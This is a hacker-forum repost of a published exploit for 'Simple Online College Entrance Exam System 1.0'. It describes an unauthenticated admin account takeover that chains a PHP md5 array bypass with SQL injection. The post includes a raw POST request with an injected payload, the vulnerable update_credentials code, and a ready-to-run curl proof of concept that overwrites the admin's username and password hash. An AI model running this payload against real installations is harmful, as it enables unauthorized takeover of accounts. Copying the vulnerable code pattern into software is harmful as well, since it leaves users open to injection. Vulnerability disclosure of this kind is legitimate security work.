Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Simple Online College Entrance Exam System 1.0 - Account Takeover

 Share


Recommended Posts

# Exploit Title: Simple Online College Entrance Exam System 1.0 - Account Takeover
# Date: 07.10.2021
# Exploit Author: Amine ismail @aminei_
# Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Unauthenticated password change leading to account takeover

Explanation: By setting the parameter old_password as array, the MD5 function on it returns null, so md5($old_password) == $_SESSION['password'] since we have no session, thus bypassing the check, after that we can use SQLI and inject our custom data.
    
    Request:
        POST /entrance_exam/Actions.php?a=update_credentials HTTP/1.1
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Content-Length: 129

        id=4&username=test',`password`='916b5dbd201b469998d9b4a4c8bc4e08'+WHERE+admin_id=4;%23&password=commented_out&old_password[]=test

    Vulnerable code in Actions.php:
        function update_credentials(){
            extract($_POST);
            $data = "";
            foreach($_POST as $k => $v){
                if(!in_array($k,array('id','old_password')) && !empty($v)){
                    if(!empty($data)) $data .= ",";
                    if($k == 'password') $v = md5($v);
                    $data .= " `{$k}` = '{$v}' ";
                }
            }
            ...
            if(!empty($password) && md5($old_password) != $_SESSION['password']){
                $resp['status'] = 'failed';
                $resp['msg'] = "Old password is incorrect.";
            }else{
                $sql = "UPDATE `admin_list` set {$data} where admin_id = '{$_SESSION['admin_id']}'";
                @$save = $this->query($sql);

    PoC that changes the password and username of user 'admin' to 'exploitdb':
        curl -d "username=exploitdb',%60password%60='916b5dbd201b469998d9b4a4c8bc4e08' WHERE admin_id=1;%23&password=useless&old_password[]=useless" -X POST 'http://127.0.0.1/entrance_exam/Actions.php?a=update_credentials'
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...